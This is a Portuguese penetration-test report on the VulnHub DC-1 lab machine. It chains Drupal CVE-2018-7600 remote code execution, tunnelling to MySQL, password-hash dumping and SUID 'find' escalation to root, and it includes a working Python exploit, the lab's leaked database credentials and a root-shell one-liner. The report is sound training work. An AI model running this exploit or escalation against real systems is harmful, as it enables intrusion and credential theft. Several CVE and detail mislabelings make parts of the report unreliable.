Report DC-1

Cliente: Vulnhub (Máquina DC-1)
Data do teste: abril 2026
Autor: Diego Xavier Lima
Versão do relatório: 1.0
Classificação: Confidencial

Informações Gerais

- Escopo do teste: Máquina DC-1 (Drupal lab)
- Metodologia: White-box → Credentialed → Privilege Escalation
- Ferramentas utilizadas: Nmap, ffuf, linpeas, chisel, Impacket, wpscan

Tabela de conteúdos

- Sumário Executivo
- Informações Gerais
- Escopo da Auditoria
- Metodologia
- Classificação de Vulnerabilidades
- Descobertas
  - Finding-001 - Remote Code Execution (RCE)
  - Finding-002 - Internal Service Exposure via Pivoting
  - Finding-003 - Privilege Escalation via Misconfigured SUID Binary
  - Finding-004 - Database Acess
    Mitigações Recomendadas
- Conclusão
- Apêndices

Sumário do Executivo:

O teste de invasão contra o DC-1 mostrou-se facilmente explorável, dando uma cadeia completa de ataque, até mesmo para usuários sem registros no site, indo de um usuário sem login até um

root do sistema linux em até poucas horas.

As vulnerabilidades mais perigosa encontradas foram a não atualização do framework Drupal, a falta de isolamento do servidor MySQL, e a má administração de binários SUID que juntando as permite uma cadeia de ataque completa contra a aplicação.

Impacto potencial: Comprometimento total do servidor Linux, incluindo roubo de credenciais, persistência e movimentação lateral.

O escopo do projeto seria uma análise profunda em todos os serviços e portas do Servidor, no final 4 vulnerabilidades foram encontradas, suas classificações variam entre crítica e alta

Classificação	Quantia
Baixo	0
Médio	0
Alto	3
Crítico	1

Uma análise realizada comprova que um atacante real conseguiria explorar o domínio completo em questão de 1 hora a 1 hora e meia

Metodologia:

Frameworks: MITRE ATT&CK, OWASP Testing guide
Abordagem: White-box (sem credenciais)
O teste seguiu uma abordagem white-box, evoluindo para root via privilege escalation:

1. Reconhecimento (Nmap, mariadb).
2. Exploração inicial (CVE-2018-7600).
3. Movimentação lateral (chisel).
4. Escalação final (Binário SUID nmap).

Classificação de vulnerabilidades:

- **Crítica/Grave:** Exploração leva a controle total do sistema/domínio.
- **Alta:** Escalação de privilégios ou acesso a dados sensíveis.
- **Média:** Acesso limitado ou enumeração avançada.
- **Baixa/Informacional:** Configurações ruins sem impacto direto.

Erros Encontrados:

Erro	Severidade	ID	CVSS
Remote Code Execution (RCE)	Crítica	1	9.8
Internal Service Exposure via Pivoting	Alta	2	8.2
Database Acess	Alta	3	8.0
Privilege Escalation via Misconfigured SUID Binary	Alta	4	7.8

ID: 1; VULN-RCE-DRUPAL
Nome: RCE-DRUPAL-01: Remote Code Execution via Outdated Drupal CMS
Severidade: Crítica
CVSS: 9.8
Categoria: Injection (OWASP A03)

Descrição:
A vulnerabilidade permite que um usuário não autenticado execute comandos arbitrários no servidor web devido ao uso de uma versão desatualizada do WordPress Drupal. Durante os testes, foi possível explorar a falha para obter execução remota de código no servidor, resultando em acesso inicial ao sistema. Além de com ela se tornar possível a procura por credenciais de outros serviços, como ocorreu achando um usuário e senha de servidor MySQL

Comando:
O exploit foi realizado através de requisições HTTP maliciosas enviadas à aplicação Drupal, explorando a vulnerabilidade conhecida como RCE-2018-7600

Mecanismo:
A vulnerabilidade ocorre devido à má validação de entradas no Drupal, permitindo a injeção de código através de parâmetros manipulados em requisições HTTP. Isso possibilita que o atacante execute comandos diretamente no servidor, sem necessidade de autenticação. A falha está associada a versões vulneráveis do CMS que não possuem correções de segurança aplicadas.

Mitigação:
Atualizar o Drupal para a versão mais recente disponível, aplicando todos os patches de segurança.

Prioridade: Crítica (Imediato)
Ação: Atualizar o CMS Drupal e aplicar patches de segurança
Comando: `apt update && apt upgrade drupal` (ou atualização manual conforme ambiente)
Responsável: Web Application Team

Prioridade: Alta (7 dias)
Ação: Implementar configuração de acesso para arquivos sensíveis
Responsável: DevOps / DBA Team

Impacto:

- Execução remota de comandos no servidor
- Comprometimento total da aplicação web
- Possível acesso ao sistema operacional
- Ponto inicial para movimentação lateral e escalada de privilégios
- Exposição de credenciais sensíveis

Evidência:

```
import requests
import re

HOST="http://192.168.124.129/"

get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'ls', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)

m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
    found = m.group(1)
    get_params = {'q':'file/ajax/name/#value/' + found}
    post_params = {'form_build_id':found}
    r = requests.post(HOST, data=post_params, params=get_params)
    print(r.text)
```

Figura 1. Essa imagem mostra exatamente o exploit usado para explorar a vulnerabilidade RCE-2018-7600

```
(.venv) PS C:\Users\diego\.vscode> & C:\Users\diego\.vscode\templates\.venv\Scripts\python.exe C:/Users/diego/.vscode/network.py
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
flag1.txt
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config
xmlrpc.php
```

Figura 1.1: Essa imagem mostra o resultado do código realizado, como esperado uma execução arbitrária ocorreu no servidor, mostrando todos os arquivos do diretório de execução

```
(.venv) PS C:\Users\diego\.vscode> & c:\Users\diego\.vscode\templates\.venv\Scripts\python.exe c:/Users/diego/.vscode/network.py
<?php

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
```

Figura 1.2: Na imagem após uma procura por arquivos foi possível encontrar um usuário e senha para um servidor mysql, comprovando vulnerabilidade, estes dados foram encontrados no arquivo "sites/default/settings.php"

ID: 2; VULN-PIVOT-INT
Nome: PIVOT-INT-01: Internal Service Exposure via Pivoting
Severidade: Alta
CVSS: 8.2
Categoria: Security Misconfiguration (OWASP A05)

Descrição:
Após a obtenção de acesso inicial ao servidor através de execução remota de código, foi possível estabelecer um túnel de rede para acessar serviços internos não expostos externamente. Durante os testes, foi identificado que o serviço de banco de dados MySQL estava acessível internamente, permitindo conexão e interação direta com o banco de dados.

Comando:
O acesso foi realizado através da criação de um túnel utilizando ferramenta de pivoting (ex: Chisel), redirecionando portas locais para serviços internos da máquina alvo.

Mecanismo:
A vulnerabilidade ocorre devido à ausência de segmentação de rede e controle adequado de acesso a serviços internos. Uma vez que o atacante obtém acesso ao sistema, é possível utilizar técnicas de pivoting para alcançar serviços restritos à rede interna, como bancos de dados e outros serviços críticos.

Mitigação:

- Implementar segmentação de rede adequada

- Restringir acesso a serviços internos via firewall (ex: permitir apenas localhost ou hosts específicos)
- Monitorar e bloquear conexões suspeitas internas

Prioridade: Alta (7 dias)
Ação: Restringir acesso a serviços internos e aplicar regras de firewall
Responsável: Network / DevOps Team

Impacto:

- Acesso a serviços internos (ex: MySQL)
- Exposição de dados sensíveis
- Facilitação de movimentação lateral
- Aumento da superfície de ataque após comprometimento inicial

Evidência:

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp   open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-server-header: Apache/2.2.22 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-favicon: Unknown favicon MD5: B6341DFC213100C61DB4FB8775878CEC
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35494/tcp6  status
|   100024  1          44601/udp6  status
|   100024  1          58576/udp   status
|_  100024  1          58690/tcp   status
MAC Address: 00:0C:29:E8:61:CC (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Uptime guess: 0.011 days (since Mon Mar 30 14:16:14 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Figura 1.3: Nessa imagem está o portscan feito pela ferramenta nmap, nela podemos ver as

portas que estão ativas dentro da máquina, como visto não temos nenhuma referência a porta 3306 (Padrão MySQL) portanto mostra que essa porta deveria ser inacessível fora da rede local

ID: 3; VULN-DB-ACCESS
Nome: DB-ACCESS-01: Unauthorized Database Access via Exposed Credentials
Severidade: Alta
CVSS: 8.0
Categoria: Identification and Authentication Failures (OWASP A07)

Descrição:
Durante a exploração do sistema, foi possível obter credenciais de acesso ao banco de dados MySQL a partir de arquivos de configuração da aplicação. Utilizando essas credenciais, foi possível estabelecer conexão com o banco de dados e acessar informações armazenadas. O acesso ao serviço foi possível através de pivoting realizado a partir do servidor comprometido.

Comando:
mariadb -h 127.0.0.1 -P 13606 -u dbuser -p --ssl=0

Mecanismo:
A vulnerabilidade ocorre devido ao armazenamento inadequado de credenciais sensíveis em arquivos de configuração da aplicação, aliado à falta de restrições de acesso ao serviço de banco de dados. Uma vez que o atacante obtém acesso ao sistema, essas credenciais podem ser utilizadas para autenticação direta no banco, permitindo acesso não autorizado a dados sensíveis.

Mitigação:

- Remover credenciais sensíveis em arquivos de configuração
- Restringir acesso ao banco de dados apenas a usuários e serviços necessários
- Rotacionar credenciais comprometidas

Prioridade: Alta (7 dias)
Ação: Proteger credenciais e restringir acesso ao banco de dados
Responsável: DBA / DevOps Team

Impacto:

- Acesso não autorizado ao banco de dados
- Exposição de informações sensíveis
- Possível extração de credenciais adicionais
- Facilitação de movimentação lateral e escalada de privilégios

Evidências:

```
└─$ mariadb -h 127.0.0.1 -P 13306 -u dbuser -p
Enter password:
ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it

┌──(decker㉿kali)-[~/Downloads]
└─$ mariadb -h 127.0.0.1 -P 13306 -u dbuser -p --ssl=0
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 44
Server version: 5.5.60-0+deb7u1 (Debian)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> help

General information about MariaDB can be found at
http://mariadb.org

List of all client commands:
Note that all text commands must be first on line and end with ';'
?         (\?) Synonym for `help'.
charset   (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets.
clear     (\c) Clear the current input statement.
connect   (\r) Reconnect to the server. Optional arguments are db and host.
delimiter (\d) Set statement delimiter.
edit      (\e) Edit command with $EDITOR.
ego       (\G) Send command to MariaDB server, display result vertically.
exit      (\q) Exit mysql. Same as quit.
go        (\g) Send command to MariaDB server.
help      (\h) Display this help.
nopager   (\n) Disable pager, print to stdout.
notee     (\t) Don't write into outfile.
nowarning (\w) Don't show warnings after every statement.
pager     (\P) Set PAGER [to_pager]. Print the query results via PAGER.
print     (\p) Print current command.
prompt    (\R) Change your mysql prompt.
quit      (\q) Quit mysql.
costs     (\Q) Toggle showing query costs after each query
rehash    (\#) Rebuild completion hash.
sandbox   (\-) Disallow commands that access the file system (except \P without an argument and \e).
source    (\.) Execute an SQL script file. Takes a file name as an argument.
status    (\s) Get status information from the server.
system    (\!) Execute a system shell command.
tee       (\T) Set outfile [to_outfile]. Append everything into given outfile.
use       (\u) Use another database. Takes database name as argument.
warnings  (\W) Show warnings after every statement.

For server side help, type 'help contents'

MySQL [(none)]>
```

Figura 1.4: Essa imagem mostra que o login foi bem sucedido, dando acesso ao MySQL da aplicação

```
MySQL [(none)]> USE drupaldb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [drupaldb]> SELECT name, pass FROM users;
+----------+--------------------------------------------------------------+
| name     | pass                                                         |
+----------+--------------------------------------------------------------+
|          |                                                              |
| admin    | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.138jnEKuDR |
| Fred     | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
| Teste    | $S$Dj0QNdkhm8Jm9phLIoB6nspw3jDKmGgnRSz1WejfyIZ5PuzGvi8z |
| username | $S$DTIetg7dsWJZ.36ks07iPUdu3D.jMBcEgPYsqzIWKU5EuhASrb9z |
+----------+--------------------------------------------------------------+
5 rows in set (0.001 sec)

MySQL [drupaldb]>
```

Figura 1.5: Aqui está uma demonstração prática do perigo que a exposição do DB trás a segurança da empresa, revelando credenciais administrativas e também de outros usuários

ID: 4; VULN-PRIVESC-SUID
Nome: PRIVESC-SUID-01: Privilege Escalation via Misconfigured SUID Binary
Severidade: Alta
CVSS: 7.8
Categoria: Security Misconfiguration (OWASP A05)

Descrição:
Após a obtenção de acesso inicial ao sistema, foi realizada a enumeração de binários com permissões SUID. Durante os testes, foi identificado um binário configurado incorretamente que permitia execução com privilégios elevados. A exploração desse binário possibilitou a elevação de privilégios do usuário atual para root, resultando em controle total do sistema.

Comando:
find / -perm -4000 2>/dev/null

Mecanismo:
A vulnerabilidade ocorre devido à presença de binários com a flag SUID ativada que podem ser abusados para execução de comandos com privilégios de root. Quando esses binários não são corretamente restritos ou permitem execução arbitrária, um atacante pode utilizá-los para escalar privilégios e comprometer completamente o sistema.

Mitigação:

- Remover permissões SUID de binários desnecessários
- Restringir execução de binários sensíveis
- Monitorar e auditar permissões de arquivos regularmente
- Aplicar princípio do menor privilégio

Prioridade: Alta (7 dias)
Ação: Revisar e remover permissões SUID indevidas
Responsável: System Administration Team

Impacto:

- Escalada de privilégios para root
- Controle total do sistema
- Possibilidade de persistência no ambiente
- Comprometimento completo da máquina

Evidência:

```
$ find / -perm -4000 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
```

Figura 1.6: Após o comando alguns binários SUID inofensivos aparecem no output, apenas um sendo realmente perigoso, esse sendo o find, a qual pode transformar nossa shell executada como usuário comum para usuário root.

Evidência:

```
su: must be run from a terminal
$ find /etc/passwd -exec /bin/sh \;
```

Figura 1.7: Usuário oficialmente logado como root do servidor

Conclusão:

O teste demonstrou que a infraestrutura está vulnerável a **domain takeover completo** através de uma cadeia de 4 vulnerabilidades inter-relacionadas. Um atacante poderia comprometer o Servidor em **menos de 2 horas**, resultando em perda total de confidencialidade, integridade e disponibilidade dos sistemas. Recomendamos tratamento **emergencial** das vulnerabilidades RCE-2018-7600 e acess tokens para SUID, seguido por um programa de hardening contínuo.

Estatísticas do Teste:

- **Total de vulnerabilidades:** 4 (1 Crítica, 3 Altas)
- **Tempo até domain compromise:** Estimado em 1h30min
- **Cobertura do escopo:** 100% dos serviços testados
- **Taxa de sucesso de exploração:** 100%

A cadeia de ataque do Teste foi baseado na metodologia Mitre ATT&CK, se consistindo ao final em:

1. **Acesso inicial** via RCE no DRUPAL 7
2. **Entrada no MySQL** Usando pivoting e credenciais encontradas na máquina
3. **Vazamento de credenciais** via tabela principal
4. **Movimentação lateral** Atráves de uma falta de segmentação de rede
5. **Domain takeover** via exploração de SUID

Vulnerabilidade	Impacto no negócio
RCE-218-6700	Execução de comandos
Pivoting + MySQL	Roubo de usuários e dados importantes
SUID mal configurado	Espionagem, Ransomware